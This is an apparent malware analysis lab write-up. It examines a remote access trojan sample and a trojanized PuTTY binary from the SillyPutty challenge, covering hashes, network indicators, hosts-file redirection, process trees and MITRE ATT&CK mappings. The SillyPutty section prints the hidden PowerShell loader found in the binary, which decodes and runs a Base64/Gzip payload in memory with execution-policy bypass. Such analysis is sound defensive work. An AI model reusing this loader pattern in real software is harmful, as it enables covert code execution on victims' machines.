Post

MALWARE CHALLENGE II

This report covers two malware challenges:

  1. RAT.Unknown2.exe
  2. putty.exe from the SillyPutty challenge

The RAT.Unknown2.exe

Basic Static Analysis

File hashes

1
2
3
4
5
6
7
8
9
C:\Users\sire\Desktop
λ sha256sum.exe RAT.Unknown2.exe.malz
481eae82ac4cd1a9cfadc026a628b18d7b4c54f50385d28c505fbcb3e999b8b0 *RAT.Unknown2.exe.malz

C:\Users\sire\Desktop
λ md5sum.exe RAT.Unknown2.exe.malz
c211704777e168a5151de79dc87ffac7 *RAT.Unknown2.exe.malz

C:\Users\sire\Desktop

VirusTotal

The file was flagged by 45 out of 72 vendors on VirusTotal, which already gives a strong sign that the sample is malicious.

alt text

Strings and PEStudio observations

From the strings and PEStudio view, there were not many obvious readable indicators at first. What stood out most were networking-related strings such as:

  • socket
  • send
  • recv
  • connect
  • closesocket
  • getaddrinfo

That suggested early on that the binary was built to communicate over the network.

alt text

One important thing here is that the full suspicious domain was not clearly visible during static analysis. That usually means some of the string content is being built during runtime instead of being stored in one readable piece inside the binary.


Basic Dynamic Analysis

Network-based indicators

DNS request during detonation

When I detonated the sample and watched the traffic in Wireshark, I saw a DNS request for:

1
aaaaaaaaaaaaaaaaaaaa.kadusus.local

alt text

This explained why the full domain was not easy to spot earlier in static analysis. The malware appears to construct that value while it is running.

Redirecting the malware to localhost

To continue the analysis safely, I edited the Windows hosts file so the malware would resolve that domain back to my own machine:

1
127.0.0.1    aaaaaaaaaaaaaaaaaaaa.kadusus.local

By doing that, I was basically tricking the malware into thinking it had reached its command server, when in reality it was connecting back to my local system.

Callback over port 443

After redirecting the domain, Procmon showed the malware making a TCP reconnect using port 443.

alt text

At this point, the behavior looked very similar to a RAT callback or command channel over a common port that would blend in with normal traffic.

Listener and command execution

Since the binary was now connecting back to my own system, I set up a listener on port 443. The callback succeeded, and I was able to observe command execution from the infected side.

Commands such as whoami and ipconfig were visible, showing that the malware was not just beaconing but was actually capable of running system commands.

alt text

Process tree observations

The process tree made the behavior even clearer. From Explorer.exe, the malware process RAT.Unknown2.exe was launched, and from there cmd.exe was used to run commands like whoami.

alt text

That confirmed that the sample is capable of spawning command execution through the Windows shell.


Conclusion for RAT.Unknown2.exe

RAT.Unknown2.exe behaved like a remote access trojan. Static analysis hinted at network activity, but the most useful findings came from dynamic analysis. During execution, the sample built a suspicious hostname, queried it through DNS, and then attempted to connect over port 443. After redirecting the hostname through the hosts file, I was able to catch the callback locally and observe command execution. The process tree also showed the malware relying on cmd.exe, which supports the idea that this sample allows remote command execution on the victim machine.


MITRE ATT&CK Mapping

TacticTechniqueIDWhy it fits
Command and ControlApplication Layer Protocol: DNST1071.004The malware performs a DNS lookup for aaaaaaaaaaaaaaaaaaaa.kadusus.local during execution.
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001The sample attempts network communication over port 443, which blends in with normal web traffic.
ExecutionCommand and Scripting Interpreter: Windows Command ShellT1059.003Procmon and the process tree show the malware using cmd.exe to run commands like whoami.
Defense EvasionObfuscated/Compressed Files and InformationT1027The suspicious hostname was not clearly visible in static analysis and appears to be assembled at runtime.
Command and ControlIngress Tool Transfer / Command ChannelT1105After redirecting the domain locally, the malware connected back and allowed command execution behavior.

SillyPutty Challenge

Hello Analyst,

The help desk received multiple complaints from IT admins about a program they had been using normally before. Recently, it started crashing at random and opening blue windows during execution. The goal of this challenge was to perform both static and dynamic analysis and figure out what the sample was doing underneath what looked like a normal PuTTY program.


Objective

Perform static and dynamic malware analysis on the sample and identify the important indicators and behaviors.

Tools Used

Basic Static

  • File hashes
  • VirusTotal
  • FLOSS
  • PEStudio
  • PEView

Basic Dynamic

  • Wireshark
  • INetSim
  • Netcat
  • TCPView
  • Procmon

Basic Static Analysis

File hashes

1
2
3
4
5
6
7
8
9
10
C:\Users\sire\Desktop
λ sha256sum.exe putty.exe
0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83 *putty.exe

C:\Users\sire\Desktop
λ md5sum.exe putty.exe
334a10500feb0f3444bf2e86ab2e76da *putty.exe

C:\Users\sire\Desktop
λ

What architecture is this binary?

From PEStudio, the binary is 32-bit and uses the GUI subsystem.

alt text

VirusTotal result

Yes, there were results on VirusTotal. The sample was flagged by 61 out of 71 vendors as malicious.

alt text

Strings analysis

At first, the binary still looked like a normal PuTTY executable because many of the readable strings were consistent with a legitimate SSH and Telnet client. Examples included:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
e&w Session...
Bro&wse...
Change...
Trying gssapi-with-mic...
SSHCONNECTION@putty.projects.tartarus.org-
PuTTY-User-Key-File-
SSH-
SSHCONNECTION@putty.projects.tartarus.org-2.0-
----- Session restarted -----
---- BEGIN SSH2 PUBLIC KEY ----
---- END SSH2 PUBLIC KEY ----
-- warn below here --
VT100+
OpenSSH_2.[5-9]*
dropbear_0.[2-4][0-9]*
mod_sftp/0.[0-8]*
OpenSSH_6.[0-6]*
OpenSSH_2.[235]*
OpenSSH_2.[0-4]*
OpenSSH_2.5.[0-3]*
OpenSSH_3.[0-2]*
OpenSSH_2.[0-2]*
dropbear_0.5[01]*
<>:"/\|?*
2.0.10*
2.3.0*
2.2.0*
2.1.0*
2.0.0*
OpenSSH_[2-5].*
2.0.*
WeOnlyDo-*
2.1 *
Poor man's line drawing (+, - and |)
Bypass authentication entirely (SSH-2 only)
Arcfour (SSH-2 only)
Display pre-authentication banner (SSH-2 only)
Attempt GSSAPI authentication (SSH-2 only)
Remote ports do the same (SSH-2 only)
Attempt GSSAPI key exchange (SSH-2 only

That is what made this sample interesting. On the surface, it still looked like PuTTY. But deeper in the strings output, there was a very suspicious PowerShell command:

1
2
powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NY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RuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
GDI32.dll

This was the biggest red flag in the file. It shows an attempt to launch hidden PowerShell, bypass execution policy, decode Base64, decompress with Gzip, and then execute the resulting script in memory.

That is not normal PuTTY behavior.

Decoded PowerShell payload

After converting from Base64 and decompressing from Gzip, the hidden script became visible.

Alt text

This confirms that the sample was not just a normal SSH client. It had an embedded PowerShell payload hidden inside it.

IAT and packing review

From the PE inspection, the binary did not show clear signs of classic packing in the section layout shown.

alt text

From the section values:

1
00095F6D - 00096000 = -147

That result is very small and does not suggest the kind of abnormal gap or compressed section behavior I would expect from a heavily packed file. Based on that view, it is less likely that this sample is packed in a simple or obvious way. The more important finding here is the hidden PowerShell execution chain rather than packing.


Basic Dynamic Analysis

Initial detonation

Without internet simulation

When I ran the sample without internet simulation, a blue PowerShell-like window appeared briefly in the background for a few seconds and then disappeared, while the PuTTY window stayed in the foreground.

alt text

With internet simulation

When I repeated the detonation with internet simulation, I saw the same general behavior, but the blue window disappeared faster. That suggested the sample was trying to complete some network-dependent behavior during startup.

Main payload launched at detonation

From the host-based side, the main payload launched during execution was PowerShell. Procmon clearly showed a large suspicious PowerShell command line, which matched the one already seen during strings analysis.

The command used flags such as:

  • -nop
  • -w hidden
  • -noni
  • -ep bypass

That tells me the malware wanted to run PowerShell quietly, without user interaction, and without PowerShell execution restrictions getting in the way.

We can also see the spawned PowerShell process in the process tree.

alt text

This also explains the short-lived blue window that appeared during detonation. It was likely the PowerShell process showing briefly before hiding or terminating.

DNS record queried at detonation

In Wireshark, the malware queried the following DNS record:

1
bonus2.corporatebonusapplication.local

alt text

That was the first strong network indicator during execution.

Callback port number

The callback port used by the sample was:

1
8443

This could be seen in the network traffic once the malware attempted to connect outward.

Callback protocol

The callback protocol appears to be TCP, using port 8443. Based on the port and the surrounding behavior, it likely tries to blend in as secure web-style traffic, even though the real value is the callback channel and not the port number alone.

Using host-based telemetry

Host-based telemetry helped identify the important network details in a few ways:

  • Procmon showed the spawned PowerShell process and suspicious command line
  • TCPView helped identify the active connection and port usage
  • Process Tree showed the parent-child process relationship
  • Hosts file redirection made it easier to force the malware to talk to a controlled destination
  • Wireshark confirmed the DNS query and outbound TCP behavior

Attempt to trigger a shell locally

To make the sample call back locally, the DNS record was redirected through the hosts file and DNS cache was cleared:

1
ipconfig /flushdns

After doing that, the malware could be guided to connect to a local listener. The shell behavior does not happen by accident. The correct DNS redirection, a working listener, and the expected port all need to be in place before the sample can fully connect back and hand over interaction.

Alt text


We could not get a full shell because the connection moved beyond a simple TCP callback and expected a proper TLS session to continue. In other words, the malware was not just opening port 443, it was trying to communicate over HTTPS, which means the handshake likely required a valid certificate on the other end. Since we did not have the expected certificate or a matching TLS setup, the connection could not fully complete, so the shell was never established.

alt text


Conclusion for SillyPutty

This sample used the appearance of a normal PuTTY executable as cover, but the real malicious behavior was the hidden PowerShell payload embedded inside it. Static analysis showed both legitimate PuTTY strings and one very suspicious one-liner that decoded and executed a compressed script in memory. Dynamic analysis confirmed that PowerShell was launched during execution, a DNS request was made to bonus2.corporatebonusapplication.local, and the sample attempted callback traffic over TCP port 8443. The brief blue window during execution lines up well with the hidden PowerShell process seen later in Procmon and the process tree.


MITRE ATT&CK Mapping

TacticTechniqueIDWhy it fits
ExecutionCommand and Scripting Interpreter: PowerShellT1059.001The malware launches powershell.exe with hidden and bypass flags to run its payload.
Defense EvasionObfuscated/Compressed Files and InformationT1027The embedded payload is hidden with Base64 and Gzip, making the real script harder to see at first.
Defense EvasionDeobfuscate/Decode Files or InformationT1140The PowerShell one-liner decodes Base64 and decompresses the script before execution.
Defense EvasionImpair Defenses: Disable or Modify ToolsT1562.001The use of -ep bypass shows an attempt to get around normal PowerShell execution restrictions.
Command and ControlApplication Layer Protocol: DNST1071.004During detonation, the sample queries bonus2.corporatebonusapplication.local.
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001The sample attempts callback traffic over TCP port 8443, which resembles web-style traffic.
Command and ControlIngress Tool Transfer / Command ChannelT1105The malware sets up callback communication that can support remote interaction once the path is ready.
Initial AccessUser Execution: Malicious FileT1204.002The malicious behavior starts when the user runs what looks like a normal PuTTY executable.

This post is licensed under CC BY 4.0 by the author.